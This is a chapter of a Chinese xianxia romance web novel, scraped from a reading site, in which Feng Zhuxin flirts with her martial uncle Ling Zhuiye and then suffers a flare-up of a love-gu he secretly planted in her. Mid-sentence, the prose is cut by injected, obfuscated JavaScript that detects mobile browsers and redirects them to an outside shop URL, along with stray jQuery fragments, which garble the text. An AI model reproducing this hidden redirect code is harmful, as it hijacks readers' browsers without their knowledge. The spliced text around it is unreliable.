默认冷灰
24号文字
方正启体

14. 14

作者:一行贰叁本书字数:K更新时间:
    不可告人的目的。


    说来还真有。


    却不便言明。凌追夜调开视线,不露声色道:“我有没有不可告人的目的,你不知道?”


    “我又不是你肚子里的蛔虫。”封逐心轻轻一拉他袖口,笑吟吟道,“师叔,你为何帮我留下摄魂鞭?”


    凌追夜转过脸瞧她,“你不是喜欢?”


    封逐心颔首,说喜欢,“师叔大人有大量,谢谢师叔为我说情。”


    “喜欢就好,问那么多作甚。”


    说话遮遮掩掩。封逐心冷哼一声,愈发认定对方有事瞒着她,“既然师叔不愿意说,我就当你助人为乐。”


    凌追夜闻言心中好生不乐意,语气硬邦邦,“你说这话是何意?”


    封逐心眉梢微挑,眼神直勾勾盯着他,“不论是谁看上这条鞭子,师叔都会设法帮人留下,对么?”


    凌追夜眼中闪过一丝嗔意,“颠倒黑白。”


    “不是这样吗?”封逐心瞪圆双眼,倾身往他跟前凑,“莫非——师叔单单是为了我,才放下身段,帮我说情。”


    听完这话,凌追夜总算回过味来,某人故意试探他呢。遂转身往门口去,一把拉开门,边道:“你这爱往自己脸上贴金的毛病,何时能改?”


    “不是毛病。”封逐心下意识揉了揉脸颊,扬声道,“这叫自信。”


    凌追夜没忍住笑出声来,丢下一句:“脸皮比城墙还厚。”遂疾步离开了。


    封逐心呢,听到自己想要的答案,心里乐开了花,早将那点隐约浮现的疑虑抛诸脑后了。


    -


    转眼已至处暑,暑气渐敛。


    大雨下了一整夜,天气转凉。封逐心蒙上锦被,直睡到日上三竿。觑了眼天色,云销雨霁,正适合睡个回笼觉,甫一阖眼,却叫初见月扰了清梦。


    “阿心,大师兄不慎被噬魂草所伤,情况不大好。”初见月神情恹恹,跟在她身后进屋。


    “人还清醒吗?”封逐心揉揉惺忪睡眼,瞌睡醒了一大半。


    “早没意识了。”初见月紧紧攥住她的手,说话声里带着哭腔。


    “五师姐,大师兄现在哪里?”封逐心翻出弟子服套上,边道,“我们看看他去。”


    “师尊在帮他疗伤。”


    封逐心拧干巾帕,胡乱擦了把脸,两个人风风火火往门外跑。


    心中慌乱,脚下不稳,一只脚刚踏出院门,迎面撞上了一堵人墙。


    “哎唷!”封逐心趔趄半步,险的撞个人仰马翻。


    凌追夜眼疾手快,将人扶稳了,嗔道:“慌里慌张,往哪里去?”


    初见月立正站好,连忙解释:“师叔,大师兄受伤了,我们去看看他。”


    “撞疼了吗?”凌追夜缓和了神色,拉着封逐心上下打量着。


    封逐心眼冒金星,揉了揉额头,说不疼,“头有点晕。”


    “走路注意脚下,不知道吗?”凌追夜寒着脸,心中顿生不悦。听闻江逾白不慎受伤,她急得无头苍蝇似的。若受伤的人是他,封逐心会比现在更担心吗?


    “师叔,阿心刚被我叫醒,人还不清醒呢。”初见月连忙打圆场,“你不要责怪她了。”


    凌追夜暗叹口气,压平了胸中的惊涛骇浪,举步往前走。


    “随我来。”


    雨后初霁,天朗气清。


    燕春晦的房中挤满了玄微宗的一众长辈,与数名宗门弟子。


    令人意外的是,花晚照没来,其母亲溪映竹却在。


    封逐心愕然打量了她几眼,没瞧出个所以然来。


    像是察觉到她的视线,溪映竹侧过身子,透过黑色的面纱朝她望了过来。


    暗中观察遭当事人抓了个正着,封逐心面色讪讪,忙弯起唇角朝她颔了颔首。


    初见月蹙了蹙眉,轻轻拉住燕春晦的袖子,问出了在场众人心中的疑虑,“师尊,大师兄对噬魂草那般熟悉,怎会不慎被其所伤?”


    “常言道,善游者溺,善骑者坠。”燕春晦性子沉稳,遇事较为平静,略顿了下,“逾白有此遭遇,不足为奇。”


    封逐心踮起脚尖,伸长脖子望了眼躺在床上奄奄一息的江逾白,不由倒吸一口冷气。


    “师尊,大师兄何时能醒来?”


    燕春晦轻拍了下她肩头,“逾白已服下还魂草,不出意外,四十九日后方能苏醒。”


    众人闻言,紧绷的神经渐渐舒缓下来。


    “此番大师兄可有采到还魂草?”


    “并未。”


    凌追夜掀开江逾白的衣襟,替他查看伤势,“还魂草生长的地方,并无噬魂草,他怎会碰上?”


    “我亦有此疑问。”燕春晦神色凝重,“找到他的时候,他并不在还魂草生长的地带,此事或有蹊跷。”


    封逐心挠了挠手心,忽而浑身燥热得厉害,轻扯一下初见月的衣袖,压声道:“五师姐,我们先出去吧。屋里人太多,憋闷得慌。”


    “天气不热啊!”初见月抬眼望向窗外,“树枝上还挂着露珠呢。”


    “我先出去了。”封逐心只觉唇干舌燥,口渴得要命,遂扒开人群,埋头就往外钻。


    凌追夜觉察到异样,紧跟着她迈出门槛,一把攥住她手腕,“哪里不舒服?”只当她早前撞到头,尚未缓过劲来,“头还晕吗?”


    封逐心单手解开了弟子服的领口,说不晕,“师叔,我心里头火烧火燎的,难受得紧。”


    瞧她脸颊飞红,嘴唇发干,一副情绪高涨的样子。算算日子,凌追夜心下了然。


    常听人说逝者如斯,他从未有任何时候如眼下这般深刻体会过这句话的含义。


    自打暗中给封逐心下了情蛊,两下里发展成最为亲近的关系,总觉得时间一晃就过去了。


    譬如现在,距离上一次封逐心情蛊发作恍若还在昨日,谁承想不过一眨眼的功夫,月亮又圆了。


    “我送你回屋。”


    封逐心撼了撼他手臂,说好,仰起脸来瞧他,眼圈湿润泛红,“师叔,我好像生病了。”


    一句话说得凌追夜心惊肉跳,只当她察觉到了体内的蛊毒,略斟酌了下,“什么病?”


    “一见到师叔,就想亲上去的病


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537181|203851||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”封逐心双手捧住他脸庞,用劲掐了一把,眼神里的慾火快要顺着眼角溢出来了,“师叔,你长得真好看,我——我好喜欢你啊!”


    心跳止了一瞬,凌追夜暗自深呼吸,勉力让自己冷静下来,“别说话了。”说罢,一把将人捞进怀里,疾步往封逐心居住的小院去。


    日头愈发热烈,照在人身上暖烘烘的,心里头紧跟着升起燥热,周身似火烧,蹭蹭往上冒热气。


    刚在房间内站稳,封逐心一刻也等候不及了,三下五除二把碍事的弟子服脱掉,随手扔在圈椅里。


    凌追夜瞥了眼皱巴巴的弟子服,不由皱眉,“你这是做什么?”


    “随意丢弃弟子服。”封逐心把脸埋进他胸口轻蹭了蹭,咧嘴一笑,“师叔,你惩罚我吧。”


    眉宇间舒展开来,凌追夜闷声笑道:“无缘无故,罚你作甚?”


    “早前在仙女池,我弄丢了弟子服,师叔罚我抄写宗规了。”封逐心小声嘀咕。


    “你还挺记仇。”凌追夜失笑,那双湛蓝色的眼眸望了过来,眼神里带着点宠溺的意味,任凭封逐心一双手在他身上摩挲。


    “衣带系这样紧干什么呢?”封逐心瞎忙活大半日,再次把他的衣带打成了死结,心里又急又气,逐渐失了耐心,索性撒手不解了。


    凌追夜捉住她的手,抵在唇边亲了亲。


    “防的就是你。”


    胸口辣乎乎的,愈发燥热,恍若有无数只蚂蚁啃食皮.肉,一把慾火肆意横扫胸腔,顺着脖颈直往上冒,一径燎到了天灵盖。封逐心伸出舌尖舔了下干涸的嘴唇,双手勾住他的脖颈用力往下压。


    “师叔,我好难受,快帮帮我。”


    拏云师叔与凌云仙尊无声打了一架。凌追夜忍了又忍,到底没忍住,略微俯身,轻轻碰了下她唇瓣。


    如洪水开闸,更似点燃了导火索。


    封逐心张嘴,用力吻住他双唇。亲吻如疾风骤雨,来势汹汹,直搅得他气息短促,晕头转向,不知身在何方。


    “唔——”


    唇齿纠缠,呼吸交融,房内只闻两人啃咬时带起的粘稠声响。


    如躁动的亡灵骤然听到安魂曲,体.内汹涌的暗流渐渐舒缓。封逐心餍足地呻.吟了声,缓缓松开手。


    与前两次亲近大不一样。


    前两次亲吻过后,满腔不适渐次消弥。此番她把凌追夜嘴唇都咬破了,精神仍是亢奋得要命,……。


    “师叔,帮我把摄魂鞭取来好么?”


    舌尖叫她咬伤出血,热辣辣的疼,凌追夜低低“嘶”了声,“这个时候,取摄魂鞭来做什么?”


    “我自有妙用。”封逐心低声笑起来,“师叔,你一定会喜欢。”


    凌追夜听得云里雾里,回身从柜子里取来摄魂鞭,往她跟前一递,“拿去。”


    “……刚刚好。”封逐心接过鞭子,指腹轻轻摩挲手柄上深刻的纹路,眼里涌起了满足的笑意。


    凌追夜抬眼,好奇道:“什么刚刚好?”


    封逐心比划了下,……。


    “到时候你就知道了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)